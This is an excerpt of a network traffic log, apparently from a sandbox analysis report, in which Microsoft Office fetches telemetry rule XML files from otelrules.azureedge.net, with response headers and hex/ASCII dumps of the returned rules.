2024-10-30 01:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e0a2f103-c01e-007a-3367-28b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012809Z-15b8d89586f42m673h1quuee4s0000000bcg00000000azcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012810Z-16849878b78hh85qc40uyr8sc800000007kg00000000hkht x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:10 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 170621ef-f01e-003f-351f-28d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012810Z-15b8d89586f4zwgbgswvrvz4vs00000008n000000000eacp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:10 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:10 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:10 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012810Z-15b8d89586fpccrmgpemqdqe58000000026g000000009f66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:10 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:11 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012810Z-16849878b78qg9mlz11wgn0wcc0000000700000000003pkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:11 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:10 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:11 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 071448c9-d01e-0028-2702-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012811Z-15b8d89586fst84kttks1s2css0000000120000000004v3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:11 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:11 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012811Z-16849878b78z2wx67pvzz63kdg00000005u000000000xh1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:11 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 20ac8722-c01e-00ad-30e6-27a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012811Z-r197bdfb6b4gx6v9pg74w9f47s00000009d0000000009wzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:11 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012811Z-15b8d89586f6nn8zqg1h5suba800000002m0000000007hf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:11 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c2e82b32-d01e-005a-2b27-267fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012811Z-r197bdfb6b48v72xb403uy6hns00000007y000000000f0ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012811Z-16849878b78qf2gleqhwczd21s00000007kg000000007vkg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012812Z-16849878b78qfbkc5yywmsbg0c00000006yg00000000m8ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS 